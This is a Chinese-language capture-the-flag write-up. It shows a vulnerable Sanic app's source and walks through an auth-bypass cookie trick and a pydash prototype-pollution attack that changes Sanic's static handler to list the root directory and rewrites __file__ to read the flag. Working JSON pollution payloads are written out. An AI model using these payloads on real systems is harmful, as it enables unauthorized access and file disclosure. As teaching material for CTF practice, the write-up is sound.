sanic
先看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash
class Pollute: def __init__(self): pass
app = Sanic(__name__) app.static("/static/", "./static/") Session(app)
@app.route('/', methods=['GET', 'POST']) async def index(request): return html(open('static/index.html').read())
@app.route("/login") async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success")
return text("login fail")
@app.route("/src") async def src(request): return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST']) async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden")
return text("forbidden")
if __name__ == '__main__': app.run(host='0.0.0.0')
|
可以看到登录是根据cookie的参数进行判断,但是这里有一个;如果我们传入;会截断,所以使用八进制编码绕过即可。
admin路由可以直接污染,但是存在waf _.
使用\\\\
可以绕过。接下来就是污染__file__属性值了
因为在src路由里有一个读文件的操作。
污染成功,所以现在要做的就是要找到flag的文件名,这也就是这题的考点如何利用污染列目录。
来看static这个函数
这里的directory_view和directory_handler属性需要关注一下因为解释中说的是
大概意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录。跟进directory_handler看看
他调用的是DirectoryHandler这个类
所以如果能够污染 directory为 / directory_view为True就可以列根目录了
通过查看别的师傅的文章,发现可以通过app.router.name_index[‘xxxxx’]来获取注册的路由,该写下源码调试看看
可以看到已经有注册的路由,那怎么找到DirectoryHandler他呢。全局搜一下name_index
找到系统默认的调用点,下断点调试,找到handler
可以看到需要的两个变量。所以可以污染了
directory_view
1
| {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
|
directory
这里不能直接污染因为他不是字符串类型
在原来的地方看一下
是一个path对象跟进看看
最后是给了_parts,看一下这个属性
是列表类型,直接污染
1
| {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
|
最后在污染 __file__
变量就可以了
汇总
1 2 3
| {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
|
参考:https://www.cnblogs.com/gxngxngxn/p/18205235